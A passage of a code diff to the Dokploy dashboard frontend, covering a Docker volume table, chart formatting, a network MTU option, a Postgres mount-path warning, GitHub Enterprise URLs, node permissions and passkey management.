<Badge variant="outline">{row.original.Driver}</Badge>
),
},
{
accessorKey: "Scope",
header: ({ column }) => (
<SortableHeader column={column} title="Scope" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.Scope}</span>
),
},
{
id: "Size",
header: ({ column }) => <SortableHeader column={column} title="Size" />,
sortingFn: (a, b) =>
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
parseSize(sizeByName.get(b.original.Name) ?? undefined),
cell: ({ row }) =>
isLoadingSizes ? (
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
) : (
<span className="text-muted-foreground">
{sizeByName.get(row.original.Name) ?? "-"}
</span>
),
},
{
accessorKey: "Mountpoint",
header: ({ column }) => (
<SortableHeader column={column} title="Mountpoint" />
),
cell: ({ row }) => (
<div
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
title={row.original.Mountpoint}
>
{row.original.Mountpoint}
</div>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<FilesExplorerModal
volumeName={row.original.Name}
serverId={serverId}
asDropdownItem={false}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Browse volume files"
>
<FolderOpen className="size-4" />
</Button>
</FilesExplorerModal>
<ShowVolumeConfig
volumeName={row.original.Name}
serverId={serverId}
/>
<DialogAction
title="Delete volume"
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
onClick={async () => {
try {
await removeVolume({
volumeName: row.original.Name,
serverId,
});
toast.success("Volume deleted");
await utils.dockerVolume.getVolumes.invalidate();
} catch (error) {
toast.error("Error deleting volume", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<HardDrive className="size-6 text-muted-foreground self-center" />
Volumes
</CardTitle>
<CardDescription>
Manage the Docker volumes of the selected server.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !volumes?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<HardDrive className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No volumes found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Docker volumes created on this server will appear here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No volumes match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
readMb: item.value.readMb,
writeMb: item.value.writeMb,
readMb: toMb(item.value.readMb),
writeMb: toMb(item.value.writeMb),
}));
return (
@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "readMb" ? "Read" : "Write";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="readMb"
stroke="var(--color-readMb)"
fill="url(#fillBlockRead)"
@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="writeMb"
stroke="var(--color-writeMb)"
fill="url(#fillBlockWrite)"

View File

@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillCpu)"

View File

@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usedGb"
stroke="var(--color-usedGb)"
fill="url(#fillDiskUsed)"

View File

@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillMemory)"

View File

@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
inMB: item.value.inputMb,
outMB: item.value.outputMb,
inMB: toMb(item.value.inputMb),
outMB: toMb(item.value.outputMb),
}));
return (
@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "inMB" ? "In" : "Out";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="inMB"
stroke="var(--color-inMB)"
fill="url(#fillNetIn)"
@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="outMB"
stroke="var(--color-outMB)"
fill="url(#fillNetOut)"

View File

@ -1,3 +1,4 @@
import { formatMb } from "@dokploy/server/monitoring/units";
import { useEffect, useState } from "react";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
</span>
<DockerBlockChart accumulativeData={accumulativeData.block} />
</div>
@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
</span>
<DockerNetworkChart accumulativeData={accumulativeData.network} />
</div>

View File

@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Write"
dataKey="write"
type="monotone"
isAnimationActive={false}
fill="url(#fillWrite)"
stroke="hsl(142, 71%, 45%)"
strokeWidth={2}
@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Read"
dataKey="read"
type="monotone"
isAnimationActive={false}
fill="url(#fillRead)"
stroke="hsl(217, 91%, 60%)"
strokeWidth={2}

View File

@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}

View File

@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
name="Memory"
dataKey="memory"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}

View File

@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Input"
dataKey="input"
type="monotone"
isAnimationActive={false}
fill="url(#fillInput)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Output"
dataKey="output"
type="monotone"
isAnimationActive={false}
fill="url(#fillOutput)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}

View File

@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}

View File

@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
yAxisId="left"
dataKey="memUsed"
type="monotone"
isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}

View File

@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network In"
dataKey="networkIn"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkIn)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network Out"
dataKey="networkOut"
type="monotone"
isAnimationActive={false}
fill="url(#fillNetworkOut)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}

View File

@ -54,6 +54,14 @@ const networkFormSchema = z
attachable: z.boolean(),
enableIPv4: z.boolean(),
enableIPv6: z.boolean(),
mtu: z
.string()
.refine(
(value) =>
value === "" ||
(/^\d+$/.test(value) && +value >= 68 && +value <= 65535),
{ message: "MTU must be a number between 68 and 65535" },
),
ipamDriver: z.string().optional(),
ipamConfig: z.array(ipamConfigEntrySchema),
})
@ -85,6 +93,7 @@ const defaultValues: NetworkFormValues = {
attachable: false,
enableIPv4: true,
enableIPv6: false,
mtu: "",
ipamDriver: "",
ipamConfig: [],
};
@ -147,6 +156,7 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
attachable: data.attachable,
enableIPv4: data.enableIPv4,
enableIPv6: data.enableIPv6,
mtu: data.mtu ? Number(data.mtu) : undefined,
ipam: {
driver: data.ipamDriver || undefined,
config: data.ipamConfig,
@ -232,6 +242,27 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
</FormItem>
)}
/>
<FormField
control={form.control}
name="mtu"
render={({ field }) => (
<FormItem>
<FormLabel>MTU (optional)</FormLabel>
<FormControl>
<Input
placeholder="1500"
inputMode="numeric"
{...field}
/>
</FormControl>
<FormDescription className="text-muted-foreground">
Maximum transmission unit. Leave empty to use Docker's
default.
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
</div>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
{toggleOptions.map((option) => (

View File

@ -14,7 +14,6 @@ import {
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import {
Form,
FormControl,
@ -103,16 +102,19 @@ export function AddOrganization({ organizationId }: Props) {
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
{organizationId ? (
<DropdownMenuItem
className="group cursor-pointer hover:bg-blue-500/10"
onSelect={(e) => e.preventDefault()}
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-blue-500/10"
title="Edit organization"
>
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
</DropdownMenuItem>
</Button>
) : (
<DropdownMenuItem
className="gap-2 p-2"
onSelect={(e) => e.preventDefault()}
<button
type="button"
className="flex w-full items-center gap-2 rounded-md p-2 text-left text-sm hover:bg-accent hover:text-accent-foreground"
>
<div className="flex size-6 items-center justify-center rounded-md border bg-background">
<Plus className="size-4" />
@ -120,7 +122,7 @@ export function AddOrganization({ organizationId }: Props) {
<div className="font-medium text-muted-foreground">
Add organization
</div>
</DropdownMenuItem>
</button>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-[425px]">

View File

@ -4,6 +4,7 @@ import { useEffect } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
import type { ServiceType } from "../../application/advanced/show-resources";
const getPostgresMountPath = (dockerImage: string): string => {
const versionMatch = dockerImage.match(/postgres:(\d+)/);
if (versionMatch?.[1]) {
const version = Number.parseInt(versionMatch[1], 10);
if (version >= 18) {
return `/var/lib/postgresql/${version}/docker`;
}
}
return "/var/lib/postgresql/data";
};
const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
const addDockerImage = z.object({
dockerImage: z.string().min(1, "Docker image is required"),
command: z.string(),
@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
}
}, [data, form]);
const dockerImage = form.watch("dockerImage");
const mountPathWarning = (() => {
if (type !== "postgres" || !dockerImage) return null;
const mounts = data && "mounts" in data ? data.mounts : [];
const dataMounts = mounts.filter(
(mount) =>
mount.type === "volume" &&
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
);
if (dataMounts.length === 0) return null;
const expectedPath = getPostgresMountPath(dockerImage);
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
return null;
}
return {
expectedPath,
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
};
})();
const onSubmit = async (formData: AddDockerImage) => {
await mutateAsync({
mongoId: id || "",
@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
</FormItem>
)}
/>
{mountPathWarning && (
<AlertBlock type="warning">
This image expects its data directory under{" "}
<code>{mountPathWarning.expectedPath}</code>, but the
volume of this database is mounted at{" "}
<code>{mountPathWarning.currentPath}</code>. Changing the
image does not migrate existing data Postgres may
crash-loop or start with an empty database. Adjust the
volume mount path in the Volumes section or keep a
compatible image before saving.
</AlertBlock>
)}
</div>
<FormField
control={form.control}

View File

@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId: data?.projectId,
environmentId,
});
const form = useForm<UpdateEnvironment>({
defaultValues: {
env: data?.env ?? "",
@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<AlertBlock type="info">
Use this syntax to reference environment-level variables in your
service environments:{" "}
<code>API_URL=${"{{environment.API_URL}}"}</code>
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
reference secrets from a configured vault provider:{" "}
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
</AlertBlock>
<div className="grid gap-4">
<div className="grid items-center gap-4">
@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}

View File

@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId,
});
const form = useForm<UpdateProject>({
defaultValues: {
env: data?.env ?? "",
@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
.then(() => {
toast.success("Project env updated successfully");
utils.project.all.invalidate();
utils.project.one.invalidate({ projectId });
})
.catch(() => {
toast.error("Error updating the env");
@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}

View File

@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
<Area
dataKey="count"
type="monotone"
isAnimationActive={false}
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"

View File

@ -63,7 +63,7 @@ export const ShowRequests = () => {
const [dateRange, setDateRange] = useState<{
from: Date | undefined;
to: Date | undefined;
}>(getDefaultDateRange());
}>(() => getDefaultDateRange());
// Check if logs exist to determine if traefik has been reloaded
// Only fetch when active to minimize network calls

View File

@ -52,13 +52,14 @@ export const ShowNodes = ({ serverId }: Props) => {
serverId,
});
const { data: registry } = api.registry.all.useQuery();
const { data: permissions } = api.user.getPermissions.useQuery();
const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation();
const haveAtLeastOneRegistry = !!(registry && registry?.length > 0);
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="flex flex-row gap-2 justify-between w-full items-center flex-wrap">
<div className="flex flex-col gap-2">
@ -68,7 +69,7 @@ export const ShowNodes = ({ serverId }: Props) => {
</CardTitle>
<CardDescription>Add nodes to your cluster</CardDescription>
</div>
{haveAtLeastOneRegistry && (
{haveAtLeastOneRegistry && permissions?.server.create && (
<div className="flex flex-row gap-2">
<AddNode serverId={serverId} />
</div>
@ -144,34 +145,35 @@ export const ShowNodes = ({ serverId }: Props) => {
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<ShowNodeData data={node} />
{!node?.ManagerStatus?.Leader && (
<DialogAction
title="Delete Node"
description="Are you sure you want to delete this node from the cluster?"
type="destructive"
onClick={async () => {
await deleteNode({
nodeId: node.ID,
serverId,
})
.then(() => {
refetch();
toast.success(
"Node deleted successfully",
);
{!node?.ManagerStatus?.Leader &&
permissions?.server.delete && (
<DialogAction
title="Delete Node"
description="Are you sure you want to delete this node from the cluster?"
type="destructive"
onClick={async () => {
await deleteNode({
nodeId: node.ID,
serverId,
})
.catch(() => {
toast.error("Error deleting node");
});
}}
>
<DropdownMenuItem
onSelect={(e) => e.preventDefault()}
.then(() => {
refetch();
toast.success(
"Node deleted successfully",
);
})
.catch(() => {
toast.error("Error deleting node");
});
}}
>
Delete
</DropdownMenuItem>
</DialogAction>
)}
<DropdownMenuItem
onSelect={(e) => e.preventDefault()}
>
Delete
</DropdownMenuItem>
</DialogAction>
)}
</DropdownMenuContent>
</DropdownMenu>
</TableCell>

View File

@ -13,6 +13,7 @@ import {
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
export const AddGithubProvider = () => {
const [isOpen, setIsOpen] = useState(false);
@ -23,6 +24,9 @@ export const AddGithubProvider = () => {
const [manifest, setManifest] = useState("");
const [isOrganization, setIsOrganization] = useState(false);
const [organizationName, setOrganization] = useState("");
const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL);
const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl);
const randomString = () => Math.random().toString(36).slice(2, 8);
@ -30,7 +34,7 @@ export const AddGithubProvider = () => {
const url = document.location.origin;
const manifest = JSON.stringify(
{
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`,
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`,
name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`,
url: origin,
hook_attributes: {
@ -52,7 +56,7 @@ export const AddGithubProvider = () => {
);
setManifest(manifest);
}, [activeOrganization?.id, session?.user?.id]);
}, [activeOrganization?.id, session?.user?.id, baseUrl]);
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
@ -79,6 +83,25 @@ export const AddGithubProvider = () => {
below to get started.
</p>
<div className="mt-4 flex flex-col gap-4">
<div className="flex flex-col gap-2">
<span className="text-sm">GitHub URL</span>
<Input
placeholder={DEFAULT_GITHUB_URL}
value={githubUrl}
onChange={(e) => setGithubUrl(e.target.value)}
/>
<span className="text-muted-foreground text-xs">
Leave as is for github.com. For GitHub Enterprise, use your
instance URL (e.g. https://acme.ghe.com or
https://github.acme.com).
</span>
{githubUrlError && (
<span className="text-destructive text-xs">
{githubUrlError}
</span>
)}
</div>
<div className="flex flex-row gap-4">
<span>Organization?</span>
<Switch
@ -98,8 +121,8 @@ export const AddGithubProvider = () => {
<form
action={
isOrganization
? `https://github.com/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
: `https://github.com/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
? `${baseUrl}/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
: `${baseUrl}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
}
method="post"
>
@ -116,22 +139,25 @@ export const AddGithubProvider = () => {
<a
href={
isOrganization && organizationName
? `https://github.com/organizations/${organizationName}/settings/installations`
: "https://github.com/settings/installations"
? `${baseUrl}/organizations/${organizationName}/settings/installations`
: `${baseUrl}/settings/installations`
}
className={`text-muted-foreground text-sm hover:underline duration-300
${
isOrganization && !organizationName
? "pointer-events-none opacity-50"
: ""
}`}
}`}
target="_blank"
rel="noopener noreferrer"
>
Unsure if you already have an app?
</a>
<Button
disabled={isOrganization && organizationName.length < 1}
disabled={
!!githubUrlError ||
(isOrganization && organizationName.length < 1)
}
type="submit"
className="self-end"
>

View File

@ -147,6 +147,15 @@ export const EditGithubProvider = ({ githubId }: Props) => {
)}
/>
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">GitHub URL</span>
<Input value={github?.githubUrl ?? ""} readOnly />
<span className="text-muted-foreground text-xs">
Set when the app was created and not editable, the app
credentials belong to this instance.
</span>
</div>
<div className="flex w-full justify-between gap-4 mt-4">
<Button
type="button"

View File

@ -33,6 +33,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
import { useUrl } from "@/utils/hooks/use-url";
import { AddBitbucketProvider } from "./bitbucket/add-bitbucket-provider";
import { EditBitbucketProvider } from "./bitbucket/edit-bitbucket-provider";
@ -161,6 +162,14 @@ export const ShowGitProviders = () => {
<span className="text-sm font-medium">
{gitProvider.name}
</span>
{isGithub &&
gitProvider.github?.githubUrl &&
gitProvider.github.githubUrl !==
DEFAULT_GITHUB_URL && (
<span className="text-xs text-muted-foreground">
{gitProvider.github.githubUrl}
</span>
)}
<span className="text-xs text-muted-foreground">
{formatDate(
gitProvider.createdAt,

View File

@ -0,0 +1,170 @@
import { Fingerprint, Loader2, Plus, Trash2 } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DateTooltip } from "@/components/shared/date-tooltip";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { authClient } from "@/lib/auth-client";
import { api } from "@/utils/api";
export const ManagePasskeys = () => {
const utils = api.useUtils();
const [isDialogOpen, setIsDialogOpen] = useState(false);
const { data: passkeys, isLoading } = api.user.listPasskeys.useQuery(
undefined,
{
enabled: isDialogOpen,
},
);
const [name, setName] = useState("");
const [isAdding, setIsAdding] = useState(false);
const [deletingId, setDeletingId] = useState<string | null>(null);
const handleAddPasskey = async (e: React.FormEvent) => {
e.preventDefault();
setIsAdding(true);
try {
const result = await authClient.passkey.addPasskey({
name: name.trim() || undefined,
});
if (result?.error) {
toast.error(result.error.message);
return;
}
toast.success("Passkey added successfully");
setName("");
utils.user.listPasskeys.invalidate();
} catch {
toast.error("Failed to add passkey");
} finally {
setIsAdding(false);
}
};
const handleDeletePasskey = async (id: string) => {
setDeletingId(id);
try {
const result = await authClient.passkey.deletePasskey({ id });
if (result?.error) {
toast.error(result.error.message);
return;
}
toast.success("Passkey removed");
utils.user.listPasskeys.invalidate();
} catch {
toast.error("Failed to remove passkey");
} finally {
setDeletingId(null);
}
};
return (
<Dialog open={isDialogOpen} onOpenChange={setIsDialogOpen}>
<DialogTrigger asChild>
<Button variant="secondary">
<Fingerprint className="size-4 text-muted-foreground" />
Passkeys
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Passkeys</DialogTitle>
<DialogDescription>
Sign in without a password using your device's biometrics, security
key, or password manager.
</DialogDescription>
</DialogHeader>
<div className="space-y-4">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[10vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : passkeys && passkeys.length > 0 ? (
<div className="grid gap-3">
{passkeys.map((passkey) => (
<div
key={passkey.id}
className="flex items-center justify-between gap-2 p-4 border rounded-lg"
>
<div className="flex flex-col gap-1 min-w-0">
<span className="font-medium flex items-center gap-2">
<Fingerprint className="size-4 text-muted-foreground shrink-0" />
<span className="truncate">
{passkey.name || "Unnamed passkey"}
</span>
<Badge variant="outline">
{passkey.deviceType === "singleDevice"
? "Device"
: "Synced"}
</Badge>
</span>
{passkey.createdAt && (
<DateTooltip
date={passkey.createdAt.toString()}
className="text-sm"
>
Added
</DateTooltip>
)}
</div>
<DialogAction
title="Remove this passkey?"
description="You will no longer be able to sign in with it. This action cannot be undone."
onClick={() => handleDeletePasskey(passkey.id)}
>
<Button
variant="ghost"
size="icon"
isLoading={deletingId === passkey.id}
className="text-muted-foreground hover:text-destructive"
>
<Trash2 className="size-4" />
</Button>
</DialogAction>
</div>
))}
</div>
) : (
<div className="flex flex-col items-center gap-2 py-6 text-sm text-muted-foreground border rounded-lg">
<Fingerprint className="size-6" />
<span>No passkeys registered yet</span>
</div>
)}
<form onSubmit={handleAddPasskey} className="flex flex-col gap-2">
<Label htmlFor="passkey-name">Passkey Name</Label>
<div className="flex gap-2">
<Input
id="passkey-name"
placeholder="e.g. MacBook Touch ID"
value={name}
onChange={(e) => setName(e.target.value)}
/>
<Button type="submit" isLoading={isAdding}>
<Plus className="size-4" />
Add Passkey
</Button>
</div>
</form>
</div>
</DialogContent>
</Dialog>
);
};

View File

@ -31,6 +31,7 @@ import { generateSHA256Hash, getFallbackAvatarInitials } from "@/lib/utils";
import { api } from "@/utils/api";
import { Configure2FA } from "./configure-2fa";
import { Enable2FA } from "./enable-2fa";
import { ManagePasskeys } from "./manage-passkeys";
const profileSchema = z.object({
email: z
@ -162,7 +163,10 @@ export const ProfileForm = () => {
</CardDescription>
</div>
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
<div className="flex flex-row gap-2 flex-wrap">
<ManagePasskeys />
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
</div>
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">

View File

@ -106,6 +106,7 @@ export const AddInvitation = () => {
const { mutateAsync: createUserWithCredentials, isPending: isCreating } =
api.user.createUserWithCredentials.useMutation();
const { data: customRoles } = api.customRole.all.useQuery();
const { data: activeOrganization } = api.organization.active.useQuery();
const [error, setError] = useState<string | null>(null);
const form = useForm<AddInvitation>({
@ -132,6 +133,16 @@ export const AddInvitation = () => {
}
}, [form, isCloud]);
useEffect(() => {
if (
activeOrganization?.defaultRole &&
activeOrganization.defaultRole !== "owner" &&
!form.formState.dirtyFields.role
) {
